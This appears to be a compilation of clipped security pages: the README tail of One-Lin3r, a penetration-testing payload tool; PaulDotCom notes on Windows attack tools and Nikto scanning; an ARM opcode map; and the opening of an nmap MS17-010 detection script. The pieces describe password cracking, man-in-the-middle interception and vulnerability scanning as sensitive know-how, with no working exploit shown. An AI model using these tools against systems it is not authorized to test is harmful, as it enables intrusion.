  * You can add any platform to the payloads database just by making a folder in payloads folder and creating a ".liner" file there.
  * More...

The payloads database is not big now because this the first edition but it
will get bigger with updates and contributions.

# Screenshots

<img src='img/Temp2_1786' width='50%' height='234' /><img src='img/Temp2_1784'
width='50%' height='235' /> <img src='img/Temp2_1785' width='50%' height='232'
/><img src='img/Temp2_1787' width='50%' height='233' />

# Usage

## Commandline arguments

[code]

    usage: One-Lin3r.py [-h] [-r R] [-x X] [-q]
    
    optional arguments:
      -h, --help  show this help message and exit
      -r          Execute a resource file (history file).
      -x          Execute a specific command (use ; for multiples).
      -q          Quit mode (no banner).
    
[/code]

## Framework commands

[code]

    Command             Description
    --------            -------------
    help/?              Show this help menu
    list/show           List payloads you can use in the attack.
    search  <Keyword>   Search payloads for a specific one
    use     <payload>   Use an available payload
    info    <payload>   Get information about an available payload
    banner              Display banner
    reload/refresh      Reload the payloads database
    check               Prints the core version and database version then check for them online.
    history             Display command line most important history from the beginning
    save_history        Save command line history to a file
    exit/quit           Exit the framework
    
[/code]

## Installing and requirements

### To make the tool work at its best you must have :

  * Python 3.x or 2.x \(preferred 3\).
  * Linux \(Tested on kali rolling\) or Windows system \(Not tested yet on MacOS but it should work\).
  * The requirements mentioned in the next few lines.

### Installing

**+For windows : \(After downloading ZIP and upzip it\)**

[code]

    cd One-Lin3r-master
    python -m pip install -r win_requirements.txt
    python One-Lin3r.py -h
    
[/code]

**+For Linux :**

[code]

    git clone https://github.com/D4Vinci/One-Lin3r.git
    chmod 777 -R One-Lin3r
    cd One-Lin3r
    pip install -r requirements.txt
    python One-Lin3r.py -h
    
[/code]

## Contact

  * Twitter

## Donation

If you liked my work and want to support me, you can give me a cup of coffee
:\)

<img src='img/Temp2_1783' width='250' height='250' />

bitcoin address: 1f4KfYikfqHQzEAsAGxjq46GdrBKc8jrG

## Disclaimer

One-Lin3r is created to help in penetration testing and it's not responsible
for any misuse or illegal purposes.

Copying a code from this tool or using it in another tool is accepted as you
mention where you get it from 😄.

> Pull requests are always welcomed :D
  

# Episode93 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:36:35 PM_  
---|---  
**Updated:**| _8/5/2009 12:36:45 PM_  
**Author:**| __  
**Tags:**| _windows security security tools pauldotcom_  
  

# Tech Segment - Favorite Windows Security Tools in my Windows XP VM

Just as an FYI, I am using VMware Fusion on OS X \(Currently Tiger\). It works
great, and I find its a little faster than Parallels and integrates nicer when
switching between a VM and OS X.

  * Cain & Abel \- This is a fanstastic all around tool, useful for so many hacking tasks. It works great to intercept VoIP calls \(RTP streams\), decrupt Cisco VPN group passwords, and MITM RDP sessions. It can also crack a whole bunch of passwords, such as LANMAN, NTLM and even has support for rainbow tables online.

  * Suru \- I've been using this tool on all of my web application assessments lately and am really learning to like it. It acts as a proxy, allowing you to modify any or all of the variable values being sent to the web server. You can alsofuzz any of those values. For example, if you have a field for an account number that you know is 3 digits long, you can use the Numeric option and have it run through all values 0-999. It then associated a score with each one jus as the other tools do as well. While you are testing it will automatically crawl the target site to find more pages. Best of all its only $200 US.

  * BiDiBLAH \- Okay, yes, most of the tools are from sensepost. This is the ultimate Google hacking tool that we talked about on the show. It helps to automate the research that you'd normally do by hand. It works great for finding the customer's address space given the domain name.

  * Wikto \- This is the Windows version of Nikto, which some nice features. It will brute force the directories and files on a remote web server, which is nice for finding some of those "hidden" URLs.

  * Aura \- This is a proxy for Google API. You run this tool, then edit your hosts file in Windows, and add an entry to send "api.google.com" to localhost. Aura then translates scraping for Google results and sends back API results.

  

  * Core IMPACT \- We talk about this tool a lot, I know. But my favorite features are the ability to export an agent to an executable, automatically discover email address from Google and the target web site, and now the ability to deploy an agent via a SQL injection or RFI.

  * Radmin \- Face it, RDP is weak. Its vulnerable to MITM attacks, usernames are sent in the clear, and the passwords can be brute forced. So respectful security professional should use RDP to manage any system of any importance. This is where Radmin comes in, its fast and secure, with bonus features like file transfer. Not like the insecure file transfer in RDP.

  * SiVuS \- This is a great tool for auditing VoIP networks, its beast feature is that ability to construct and send SIP packets. Too much fun to be had here registering yourself as other people's phonese :\)

  * netcat \- No operating system is complete without its copy of netcat, truly the swiss army knife of TCP/IP networking. Here is a great little netcat cheatsheet.

# Tech Segment - Using Nikto 2.01

Nikto has undergone some huge changes, and I'm liking it. So I thought I would
highlight some of the commands and features:

To run nikto against a site, using the defaults \(port 80, HTTP only\) do the
following:

[code]

    nikto.pl -h www.adomainihavepermissiontoscan.com
    
[/code]

This will run all of the tests against the site, below is an example of the
results:

[code]

    ---------------------------------------------------------------------------
    - Nikto 2.01/2.01     -     cirt.net
    + Target IP:       1.1.1.1
    + Target Hostname: www.adomainihavepermissiontoscan.com
    + Target Port:     80
    + Start Time:      2007-12-29 16:18:47
    ---------------------------------------------------------------------------
    + Server: Microsoft-IIS/6.0
    - Retrieved X-Powered-By header: ASP.NET
    + OSVDB-630: IIS may reveal its internal IP in the Content-Location header via a request to the root file. The value is "http://10.10.4.253/Default.htm". CAN-2000-0649.
    + Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST 
    + OSVDB-877: HTTP method ('Allow' Header): 'TRACE' is typically only used for debugging and should be disabled. This message does not mean it is vulnerable to XST.
    + Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST 
    + OSVDB-877: HTTP method ('Public' Header): 'TRACE' is typically only used for debugging and should be disabled. This message does not mean it is vulnerable to XST.
    + OSVDB-0: GET /trace.axd : The .NET IIS server has application tracing enabled. This could allow an attacker to view the last 50 web requests.
    
    
[/code]

Next try to scan the same site, but use the SSL options for nikto:

[code]

    nikto.pl -h 192.168.1.45 -p 443 -ssl
    
[/code]

You must tell nikto both the port and to force ssl with the "-ssl" parameter.
Now lets take a look at some results:

[code]

    ---------------------------------------------------------------------------
    - Nikto 2.01/2.01     -     cirt.net
    + Target IP:       192.168.1.45
    + Target Hostname: bud.adomainiamauthorizedtotest.com
    + Target Port:     443
    ---------------------------------------------------------------------------
    + SSL Info:        Ciphers: AES256-SHA
                       Info:    /C=US/ST=Rhode Island/L=Coventry/O=PaulDotCom, LLC/OU=Security/CN=bud.adomainiamauthorizedtotest.com/emailAddress=pda@pauldotcom.com
                       Subject: /C=US/ST=Rhode Island/L=Coventry/O=PaulDotCom, LLC/OU=Security/CN=bud.adomainiamauthorizedtotest.com/emailAddress=pda@pauldotcom.com
    + Start Time:      2007-12-29 16:24:23
    ---------------------------------------------------------------------------
    + Server: Apache/1.3.34 Ben-SSL/1.55 (Debian) mod_perl/1.29
    + Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE 
    + OSVDB-877: HTTP method ('Allow' Header): 'TRACE' is typically only used for debugging and should be disabled. This message does not mean it is vulnerable to XST.
    + Apache/1.3.34 appears to be outdated (current is at least Apache/2.2.6). Apache 1.3.39 and 2.0.61 are also current.
    + Ben-SSL/1.55 appears to be outdated (current is at least 1.57)
    + mod_perl/1.29 appears to be outdated (current is at least 5.8.0)
    + OSVDB-877: TRACK / : TRACK option ('TRACE' alias) appears to allow XSS or credential theft. See http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf for details
    + OSVDB-877: TRACE / : TRACE option appears to allow XSS or credential theft. See http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf for details
    + OSVDB-3268: GET /icons/ : Directory indexing is enabled: /icons
    + 4343 items checked: 8 item(s) reported on remote host
    + End Time:        2007-12-29 16:25:14 (51 seconds)
    ---------------------------------------------------------------------------
    
    
[/code]

Its also useful to export your results to a file, especially when scanning
larger sites:

[code]

    nikto.pl -h 192.168.1.45 -p 443 -ssl -o report.html -Format html
    
[/code]

nikto will also export csv \(great for scripting\) or txt \(the default\). To
get more information about Nikto run "nikto.pl -Help" to get the extended help
page. Also, don't forget to run "nikto.pl -update" to get the latest database
files containing all the test to be run\!

  

# Imran Nazar: ARM Opcode Map

**Created:**| _1/31/2012 7:33:19 PM_  
---|---  
**Updated:**| _1/31/2012 7:34:24 PM_  
**Author:**| __  
**Tags:**| _cheat sheets asm arm opcode table_  
  

# Imran Nazar: ARM Opcode Map

The following is a full opcode map of instructions for the ARM7 and ARM9
series of CPU cores. Instructions added for ARM9 are highlighted in blue, and
instructions specific to the M-extension are shown in green. The Thumb
instruction set is also included, in Table 2.

Table 1. ARM Opcode Map.Bits  
27-20| Bits 7-4  
---|---  
0| 1| 2| 3| 4| 5| 6| 7| 8| 9| A| B| C| D| E| F  
00| AND lli| AND llr| AND lri| AND lrr| AND ari| AND arr| AND rri| AND rrr|
AND lli| MUL| AND lri| STRH ptrm| AND ari| LDRD ptrm| AND rri| STRD ptrm  
01| ANDS lli| ANDS llr| ANDS lri| ANDS lrr| ANDS ari| ANDS arr| ANDS rri| ANDS
rrr| ANDS lli| MULS| ANDS lri| LDRH ptrm| ANDS ari| LDRSB ptrm| ANDS rri|
LDRSH ptrm  
02| EOR lli| EOR llr| EOR lri| EOR lrr| EOR ari| EOR arr| EOR rri| EOR rrr|
EOR lli| MLA| EOR lri| STRH ptrm| EOR ari| LDRD ptrm| EOR rri| STRD ptrm  
03| EORS lli| EORS llr| EORS lri| EORS lrr| EORS ari| EORS arr| EORS rri| EORS
rrr| EORS lli| MLAS| EORS lri| LDRH ptrm| EORS ari| LDRSB ptrm| EORS rri|
LDRSH ptrm  
04| SUB lli| SUB llr| SUB lri| SUB lrr| SUB ari| SUB arr| SUB rri| SUB rrr| SUB lli| | SUB lri| STRH ptim| SUB ari| LDRD ptim| SUB rri| STRD ptim  
05| SUBS lli| SUBS llr| SUBS lri| SUBS lrr| SUBS ari| SUBS arr| SUBS rri| SUBS rrr| SUBS lli| | SUBS lri| LDRH ptim| SUBS ari| LDRSB ptim| SUBS rri| LDRSH ptim  
06| RSB lli| RSB llr| RSB lri| RSB lrr| RSB ari| RSB arr| RSB rri| RSB rrr| RSB lli| | RSB lri| STRH ptim| RSB ari| LDRD ptim| RSB rri| STRD ptim  
07| RSBS lli| RSBS llr| RSBS lri| RSBS lrr| RSBS ari| RSBS arr| RSBS rri| RSBS rrr| RSBS lli| | RSBS lri| LDRH ptim| RSBS ari| LDRSB ptim| RSBS rri| LDRSH ptim  
08| ADD lli| ADD llr| ADD lri| ADD lrr| ADD ari| ADD arr| ADD rri| ADD rrr|
ADD lli| UMULL| ADD lri| STRH ptrp| ADD ari| LDRD ptrp| ADD rri| STRD ptrp  
09| ADDS lli| ADDS llr| ADDS lri| ADDS lrr| ADDS ari| ADDS arr| ADDS rri| ADDS
rrr| ADDS lli| UMULLS| ADDS lri| LDRH ptrp| ADDS ari| LDRSB ptrp| ADDS rri|
LDRSH ptrp  
0A| ADC lli| ADC llr| ADC lri| ADC lrr| ADC ari| ADC arr| ADC rri| ADC rrr|
ADC lli| UMLAL| ADC lri| STRH ptrp| ADC ari| LDRD ptrp| ADC rri| STRD ptrp  
0B| ADCS lli| ADCS llr| ADCS lri| ADCS lrr| ADCS ari| ADCS arr| ADCS rri| ADCS
rrr| ADCS lli| UMLALS| ADCS lri| LDRH ptrp| ADCS ari| LDRSB ptrp| ADCS rri|
LDRSH ptrp  
0C| SBC lli| SBC llr| SBC lri| SBC lrr| SBC ari| SBC arr| SBC rri| SBC rrr|
SBC lli| SMULL| SBC lri| STRH ptip| SBC ari| LDRD ptip| SBC rri| STRD ptip  
0D| SBCS lli| SBCS llr| SBCS lri| SBCS lrr| SBCS ari| SBCS arr| SBCS rri| SBCS
rrr| SBCS lli| SMULLS| SBCS lri| LDRH ptip| SBCS ari| LDRSB ptip| SBCS rri|
LDRSH ptip  
0E| RSC lli| RSC llr| RSC lri| RSC lrr| RSC ari| RSC arr| RSC rri| RSC rrr|
RSC lli| SMLAL| RSC lri| STRH ptip| RSC ari| LDRD ptip| RSC rri| STRD ptip  
0F| RSCS lli| RSCS llr| RSCS lri| RSCS lrr| RSCS ari| RSCS arr| RSCS rri| RSCS
rrr| RSCS lli| SMLALS| RSCS lri| LDRH ptip| RSCS ari| LDRSB ptip| RSCS rri|
LDRSH ptip  
10| MRS rc| | QADD| | SMLABB| SWP| SMLATB| STRH ofrm| SMLABT| LDRD ofrm| SMLATT| STRD ofrm  
11| TSTS lli| TSTS llr| TSTS lri| TSTS lrr| TSTS ari| TSTS arr| TSTS rri| TSTS rrr| TSTS lli| | TSTS lri| LDRH ofrm| TSTS ari| LDRSB ofrm| TSTS rri| LDRSH ofrm  
12| MSR rc| BX| | BLX reg| | QSUB| | BKPT| SMLAWB| | SMULWB| STRH prrm| SMLAWT| LDRD prrm| SMULWT| STRD prrm  
13| TEQS lli| TEQS llr| TEQS lri| TEQS lrr| TEQS ari| TEQS arr| TEQS rri| TEQS rrr| TEQS lli| | TEQS lri| LDRH prrm| TEQS ari| LDRSB prrm| TEQS rri| LDRSH prrm  
14| MRS rs| | QDADD| | SMLALBB| SWPB| SMLALTB| STRH ofim| SMLALBT| LDRD ofim| SMLALTT| STRD ofim  
15| CMPS lli| CMPS llr| CMPS lri| CMPS lrr| CMPS ari| CMPS arr| CMPS rri| CMPS rrr| CMPS lli| | CMPS lri| LDRH ofim| CMPS ari| LDRSB ofim| CMPS rri| LDRSH ofim  
16| MSR rs| CLZ| | QDSUB| | SMULBB| | SMULTB| STRH prim| SMULBT| LDRD prim| SMULTT| STRD prim  
17| CMNS lli| CMNS llr| CMNS lri| CMNS lrr| CMNS ari| CMNS arr| CMNS rri| CMNS rrr| CMNS lli| | CMNS lri| LDRH prim| CMNS ari| LDRSB prim| CMNS rri| LDRSH prim  
18| ORR lli| ORR llr| ORR lri| ORR lrr| ORR ari| ORR arr| ORR rri| ORR rrr| ORR lli| | ORR lri| STRH ofrp| ORR ari| LDRD ofrp| ORR rri| STRD ofrp  
19| ORRS lli| ORRS llr| ORRS lri| ORRS lrr| ORRS ari| ORRS arr| ORRS rri| ORRS rrr| ORRS lli| | ORRS lri| LDRH ofrp| ORRS ari| LDRSB ofrp| ORRS rri| LDRSH ofrp  
1A| MOV lli| MOV llr| MOV lri| MOV lrr| MOV ari| MOV arr| MOV rri| MOV rrr| MOV lli| | MOV lri| STRH prrp| MOV ari| LDRD prrp| MOV rri| STRD prrp  
1B| MOVS lli| MOVS llr| MOVS lri| MOVS lrr| MOVS ari| MOVS arr| MOVS rri| MOVS rrr| MOVS lli| | MOVS lri| LDRH prrp| MOVS ari| LDRSB prrp| MOVS rri| LDRSH prrp  
1C| BIC lli| BIC llr| BIC lri| BIC lrr| BIC ari| BIC arr| BIC rri| BIC rrr| BIC lli| | BIC lri| STRH ofip| BIC ari| LDRD ofip| BIC rri| STRD ofip  
1D| BICS lli| BICS llr| BICS lri| BICS lrr| BICS ari| BICS arr| BICS rri| BICS rrr| BICS lli| | BICS lri| LDRH ofip| BICS ari| LDRSB ofip| BICS rri| LDRSH ofip  
1E| MVN lli| MVN llr| MVN lri| MVN lrr| MVN ari| MVN arr| MVN rri| MVN rrr| MVN lli| | MVN lri| STRH prip| MVN ari| LDRD prip| MVN rri| STRD prip  
1F| MVNS lli| MVNS llr| MVNS lri| MVNS lrr| MVNS ari| MVNS arr| MVNS rri| MVNS rrr| MVNS lli| | MVNS lri| LDRH prip| MVNS ari| LDRSB prip| MVNS rri| LDRSH prip  
20| AND imm  
21| ANDS imm  
22| EOR imm  
23| EORS imm  
24| SUB imm  
25| SUBS imm  
26| RSB imm  
27| RSBS imm  
28| ADD imm  
29| ADDS imm  
2A| ADC imm  
2B| ADCS imm  
2C| SBC imm  
2D| SBCS imm  
2E| RSC imm  
2F| RSCS imm  
30|  
31| TSTS imm  
32| MSR ic  
33| TEQS imm  
34|  
35| CMPS imm  
36| MSR is  
37| CMNS imm  
38| ORR imm  
39| ORRS imm  
3A| MOV imm  
3B| MOVS imm  
3C| BIC imm  
3D| BICS imm  
3E| MVN imm  
3F| MVNS imm  
40| STR ptim  
41| LDR ptim  
42| STRT ptim  
43| LDRT ptim  
44| STRB ptim  
45| LDRB ptim  
46| STRBT ptim  
47| LDRBT ptim  
48| STR ptip  
49| LDR ptip  
4A| STRT ptip  
4B| LDRT ptip  
4C| STRB ptip  
4D| LDRB ptip  
4E| STRBT ptip  
4F| LDRBT ptip  
50| STR ofim  
51| LDR ofim  
52| STR prim  
53| LDR prim  
54| STRB ofim  
55| LDRB ofim  
56| STRB prim  
57| LDRB prim  
58| STR ofip  
59| LDR ofip  
5A| STR prip  
5B| LDR prip  
5C| STRB ofip  
5D| LDRB ofip  
5E| STRB prip  
5F| LDRB prip  
60| STR ptrmll| | STR ptrmlr| | STR ptrmar| | STR ptrmrr| | STR ptrmll| | STR ptrmlr| | STR ptrmar| | STR ptrmrr|   
61| LDR ptrmll| | LDR ptrmlr| | LDR ptrmar| | LDR ptrmrr| | LDR ptrmll| | LDR ptrmlr| | LDR ptrmar| | LDR ptrmrr|   
62| STRT ptrmll| | STRT ptrmlr| | STRT ptrmar| | STRT ptrmrr| | STRT ptrmll| | STRT ptrmlr| | STRT ptrmar| | STRT ptrmrr|   
63| LDRT ptrmll| | LDRT ptrmlr| | LDRT ptrmar| | LDRT ptrmrr| | LDRT ptrmll| | LDRT ptrmlr| | LDRT ptrmar| | LDRT ptrmrr|   
64| STRB ptrmll| | STRB ptrmlr| | STRB ptrmar| | STRB ptrmrr| | STRB ptrmll| | STRB ptrmlr| | STRB ptrmar| | STRB ptrmrr|   
65| LDRB ptrmll| | LDRB ptrmlr| | LDRB ptrmar| | LDRB ptrmrr| | LDRB ptrmll| | LDRB ptrmlr| | LDRB ptrmar| | LDRB ptrmrr|   
66| STRBT ptrmll| | STRBT ptrmlr| | STRBT ptrmar| | STRBT ptrmrr| | STRBT ptrmll| | STRBT ptrmlr| | STRBT ptrmar| | STRBT ptrmrr|   
67| LDRBT ptrmll| | LDRBT ptrmlr| | LDRBT ptrmar| | LDRBT ptrmrr| | LDRBT ptrmll| | LDRBT ptrmlr| | LDRBT ptrmar| | LDRBT ptrmrr|   
68| STR ptrpll| | STR ptrplr| | STR ptrpar| | STR ptrprr| | STR ptrpll| | STR ptrplr| | STR ptrpar| | STR ptrprr|   
69| LDR ptrpll| | LDR ptrplr| | LDR ptrpar| | LDR ptrprr| | LDR ptrpll| | LDR ptrplr| | LDR ptrpar| | LDR ptrprr|   
6A| STRT ptrpll| | STRT ptrplr| | STRT ptrpar| | STRT ptrprr| | STRT ptrpll| | STRT ptrplr| | STRT ptrpar| | STRT ptrprr|   
6B| LDRT ptrpll| | LDRT ptrplr| | LDRT ptrpar| | LDRT ptrprr| | LDRT ptrpll| | LDRT ptrplr| | LDRT ptrpar| | LDRT ptrprr|   
6C| STRB ptrpll| | STRB ptrplr| | STRB ptrpar| | STRB ptrprr| | STRB ptrpll| | STRB ptrplr| | STRB ptrpar| | STRB ptrprr|   
6D| LDRB ptrpll| | LDRB ptrplr| | LDRB ptrpar| | LDRB ptrprr| | LDRB ptrpll| | LDRB ptrplr| | LDRB ptrpar| | LDRB ptrprr|   
6E| STRBT ptrpll| | STRBT ptrplr| | STRBT ptrpar| | STRBT ptrprr| | STRBT ptrpll| | STRBT ptrplr| | STRBT ptrpar| | STRBT ptrprr|   
6F| LDRBT ptrpll| | LDRBT ptrplr| | LDRBT ptrpar| | LDRBT ptrprr| | LDRBT ptrpll| | LDRBT ptrplr| | LDRBT ptrpar| | LDRBT ptrprr|   
70| STR ofrmll| | STR ofrmlr| | STR ofrmar| | STR ofrmrr| | STR ofrmll| | STR ofrmlr| | STR ofrmar| | STR ofrmrr|   
71| LDR ofrmll| | LDR ofrmlr| | LDR ofrmar| | LDR ofrmrr| | LDR ofrmll| | LDR ofrmlr| | LDR ofrmar| | LDR ofrmrr|   
72| STR prrmll| | STR prrmlr| | STR prrmar| | STR prrmrr| | STR prrmll| | STR prrmlr| | STR prrmar| | STR prrmrr|   
73| LDR prrmll| | LDR prrmlr| | LDR prrmar| | LDR prrmrr| | LDR prrmll| | LDR prrmlr| | LDR prrmar| | LDR prrmrr|   
74| STRB ofrmll| | STRB ofrmlr| | STRB ofrmar| | STRB ofrmrr| | STRB ofrmll| | STRB ofrmlr| | STRB ofrmar| | STRB ofrmrr|   
75| LDRB ofrmll| | LDRB ofrmlr| | LDRB ofrmar| | LDRB ofrmrr| | LDRB ofrmll| | LDRB ofrmlr| | LDRB ofrmar| | LDRB ofrmrr|   
76| STRB prrmll| | STRB prrmlr| | STRB prrmar| | STRB prrmrr| | STRB prrmll| | STRB prrmlr| | STRB prrmar| | STRB prrmrr|   
77| LDRB prrmll| | LDRB prrmlr| | LDRB prrmar| | LDRB prrmrr| | LDRB prrmll| | LDRB prrmlr| | LDRB prrmar| | LDRB prrmrr|   
78| STR ofrpll| | STR ofrplr| | STR ofrpar| | STR ofrprr| | STR ofrpll| | STR ofrplr| | STR ofrpar| | STR ofrprr|   
79| LDR ofrpll| | LDR ofrplr| | LDR ofrpar| | LDR ofrprr| | LDR ofrpll| | LDR ofrplr| | LDR ofrpar| | LDR ofrprr|   
7A| STR prrpll| | STR prrplr| | STR prrpar| | STR prrprr| | STR prrpll| | STR prrplr| | STR prrpar| | STR prrprr|   
7B| LDR prrpll| | LDR prrplr| | LDR prrpar| | LDR prrprr| | LDR prrpll| | LDR prrplr| | LDR prrpar| | LDR prrprr|   
7C| STRB ofrpll| | STRB ofrplr| | STRB ofrpar| | STRB ofrprr| | STRB ofrpll| | STRB ofrplr| | STRB ofrpar| | STRB ofrprr|   
7D| LDRB ofrpll| | LDRB ofrplr| | LDRB ofrpar| | LDRB ofrprr| | LDRB ofrpll| | LDRB ofrplr| | LDRB ofrpar| | LDRB ofrprr|   
7E| STRB prrpll| | STRB prrplr| | STRB prrpar| | STRB prrprr| | STRB prrpll| | STRB prrplr| | STRB prrpar| | STRB prrprr|   
7F| LDRB prrpll| | LDRB prrplr| | LDRB prrpar| | LDRB prrprr| | LDRB prrpll| | LDRB prrplr| | LDRB prrpar| | LDRB prrprr|   
80| STMDA  
81| LDMDA  
82| STMDA w  
83| LDMDA w  
84| STMDA u  
85| LDMDA u  
86| STMDA uw  
87| LDMDA uw  
88| STMIA  
89| LDMIA  
8A| STMIA w  
8B| LDMIA w  
8C| STMIA u  
8D| LDMIA u  
8E| STMIA uw  
8F| LDMIA uw  
90| STMDB  
91| LDMDB  
92| STMDB w  
93| LDMDB w  
94| STMDB u  
95| LDMDB u  
96| STMDB uw  
97| LDMDB uw  
98| STMIB  
99| LDMIB  
9A| STMIB w  
9B| LDMIB w  
9C| STMIB u  
9D| LDMIB u  
9E| STMIB uw  
9F| LDMIB uw  
A0| B  
A1  
A2  
A3  
A4  
A5  
A6  
A7  
A8  
A9  
AA  
AB  
AC  
AD  
AE  
AF  
B0| BL  
B1  
B2  
B3  
B4  
B5  
B6  
B7  
B8  
B9  
BA  
BB  
BC  
BD  
BE  
BF  
C0| STC ofm  
C1| LDC ofm  
C2| STC prm  
C3| LDC prm  
C4| STC ofm  
C5| LDC ofm  
C6| STC prm  
C7| LDC prm  
C8| STC ofp  
C9| LDC ofp  
CA| STC prp  
CB| LDC prp  
CC| STC ofp  
CD| LDC ofp  
CE| STC prp  
CF| LDC prp  
D0| STC unm  
D1| LDC unm  
D2| STC ptm  
D3| LDC ptm  
D4| STC unm  
D5| LDC unm  
D6| STC ptm  
D7| LDC ptm  
D8| STC unp  
D9| LDC unp  
DA| STC ptp  
DB| LDC ptp  
DC| STC unp  
DD| LDC unp  
DE| STC ptp  
DF| LDC ptp  
E0| CDP| MCR| CDP| MCR| CDP| MCR| CDP| MCR| CDP| MCR| CDP| MCR| CDP| MCR| CDP|
MCR  
E1| MRC| MRC| MRC| MRC| MRC| MRC| MRC| MRC  
E2| MCR| MCR| MCR| MCR| MCR| MCR| MCR| MCR  
E3| MRC| MRC| MRC| MRC| MRC| MRC| MRC| MRC  
E4| MCR| MCR| MCR| MCR| MCR| MCR| MCR| MCR  
E5| MRC| MRC| MRC| MRC| MRC| MRC| MRC| MRC  
E6| MCR| MCR| MCR| MCR| MCR| MCR| MCR| MCR  
E7| MRC| MRC| MRC| MRC| MRC| MRC| MRC| MRC  
E8| MCR| MCR| MCR| MCR| MCR| MCR| MCR| MCR  
E9| MRC| MRC| MRC| MRC| MRC| MRC| MRC| MRC  
EA| MCR| MCR| MCR| MCR| MCR| MCR| MCR| MCR  
EB| MRC| MRC| MRC| MRC| MRC| MRC| MRC| MRC  
EC| MCR| MCR| MCR| MCR| MCR| MCR| MCR| MCR  
ED| MRC| MRC| MRC| MRC| MRC| MRC| MRC| MRC  
EE| MCR| MCR| MCR| MCR| MCR| MCR| MCR| MCR  
EF| MRC| MRC| MRC| MRC| MRC| MRC| MRC| MRC  
F0| SWI  
F1  
F2  
F3  
F4  
F5  
F6  
F7  
F8  
F9  
FA  
FB  
FC  
FD  
FE  
FF  
Table 2. Thumb Opcode Map.Bits  
15-12| Bits 11-8  
---|---  
0| 1| 2| 3| 4| 5| 6| 7| 8| 9| A| B| C| D| E| F  
0| LSL imm| LSR imm  
1| ASR imm| ADD reg| SUB reg| ADD imm3| SUB imm3  
2| MOV i8r0| MOV i8r1| MOV i8r2| MOV i8r3| MOV i8r4| MOV i8r5| MOV i8r6| MOV
i8r7| CMP i8r0| CMP i8r1| CMP i8r2| CMP i8r3| CMP i8r4| CMP i8r5| CMP i8r6|
CMP i8r7  
3| ADD i8r0| ADD i8r1| ADD i8r2| ADD i8r3| ADD i8r4| ADD i8r5| ADD i8r6| ADD
i8r7| SUB i8r0| SUB i8r1| SUB i8r2| SUB i8r3| SUB i8r4| SUB i8r5| SUB i8r6|
SUB i8r7  
4| DP g1| DP g2| DP g3| DP g4| ADDH| CMPH| MOVH| BX reg| LDRPC r0| LDRPC r1|
LDRPC r2| LDRPC r3| LDRPC r4| LDRPC r5| LDRPC r6| LDRPC r7  
5| STR reg| STRH reg| STRB reg| LDRSB reg| LDR reg| LDRH reg| LDRB reg| LDRSH
reg  
6| STR imm5| LDR imm5  
7| STRB imm5| LDRB imm5  
8| STRH imm5| LDRH imm5  
9| STRSP r0| STRSP r1| STRSP r2| STRSP r3| STRSP r4| STRSP r5| STRSP r6| STRSP
r7| LDRSP r0| LDRSP r1| LDRSP r2| LDRSP r3| LDRSP r4| LDRSP r5| LDRSP r6|
LDRSP r7  
A| ADDPC r0| ADDPC r1| ADDPC r2| ADDPC r3| ADDPC r4| ADDPC r5| ADDPC r6| ADDPC
r7| ADDSP r0| ADDSP r1| ADDSP r2| ADDSP r3| ADDSP r4| ADDSP r5| ADDSP r6|
ADDSP r7  
B| ADDSP imm7| | PUSH| PUSH lr| | POP| POP pc| BKPT|   
C| STMIA r0| STMIA r1| STMIA r2| STMIA r3| STMIA r4| STMIA r5| STMIA r6| STMIA
r7| LDMIA r0| LDMIA r1| LDMIA r2| LDMIA r3| LDMIA r4| LDMIA r5| LDMIA r6|
LDMIA r7  
D| BEQ| BNE| BCS| BCC| BMI| BPL| BVS| BVC| BHI| BLS| BGE| BLT| BGT| BLE| | SWI  
E| B| BLX off  
F| BL setup| BL off  
Table 2A. Thumb Opcode Map - Register/Register Data Processing.Bits  
9-8| Bits 7-6  
---|---  
0| 1| 2| 3  
0| AND| EOR| LSL| LSR  
1| ASR| ADD| SUB| ROR  
2| TST| NEG| CMP| CMN  
3| ORR| MUL| BIC| MVN  
_Article dated: 4th Oct 2007_

Operated by Imran Nazar Ltd, registered in the UK \(\#07698370\). Content
copyright Imran Nazar, 2005-2011.  
Design and imagery copyright Imran Nazar, 2008-2011; "Parchment" used by
license from sxc.

  * Articles
  * Programming
  * Fiction
  * Get in touch

Get the RSS feed

Vimium has been updated to 1.30.x

# cldrn/nmap-nse-scripts

**Created:**| _5/15/2017 9:25:50 PM_  
---|---  
**Updated:**| _5/15/2017 9:25:50 PM_  
**Author:**| __  
**Tags:**| _security tools code-checks_  
  

  

1 | local smb = require "smb"  
---|---  
2 | local vulns = require "vulns"  
3 | local stdnse = require "stdnse"  
4 | local string = require "string"  
5 |   
6 | description = \[\[  
7 | Attempts to detect if a Microsoft SMBv1 server is vulnerable to a remote code  
8 |  execution vulnerability \(ms17-010\).  
9 |   
10 | The script connects to the $IPC tree, executes a transaction on FID 0 and  
11 |  checks if the error "STATUS\_INSUFF\_SERVER\_RESOURCES" is returned to  
12 |  determine if the target is not patched against ms17-010.  
13 |   
14 | Tested on a vulnerable Windows 7. We might have some issues with v2 protocols with  
15 |  signing enabled.  
16 |   
17 | References:  
18 | \* https://technet.microsoft.com/en-us/library/security/ms17-010.aspx  
19 | \* https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/  
20 | \* https://msdn.microsoft.com/en-us/library/ee441489.aspx  
21 | \* https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/smb/smb\_ms17\_010.rb   
22 | \]\]  
23 |   
24 | \---  
25 | \-- @usage nmap -p445 --script smb-vuln-ms17-010 <target>  
26 | \-- @usage nmap -p445 --script vuln <target>  
27 | \--  
28 | \-- @output  
29 | \-- Host script results:  
30 | \-- | smb-vuln-ms17-010:   
31 | \-- | VULNERABLE:  
32 | \-- | Remote Code Execution vulnerability in Microsoft SMBv1 servers \(ms17-010\)  
33 | \-- | State: VULNERABLE  
34 | \-- | IDs: CVE:CVE-2017-0143  
35 | \-- | Risk factor: HIGH  
36 | \-- | A critical remote code execution vulnerability exists in Microsoft SMBv1  
37 | \-- | servers \(ms17-010\).  
38 | \-- |   
39 | \-- | Disclosure date: 2017-03-14  
40 | \-- | References:  
41 | \-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143  
42 | \-- | https://technet.microsoft.com/en-us/library/security/ms17-010.aspx  
43 | \-- |\_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/  
44 | \--  
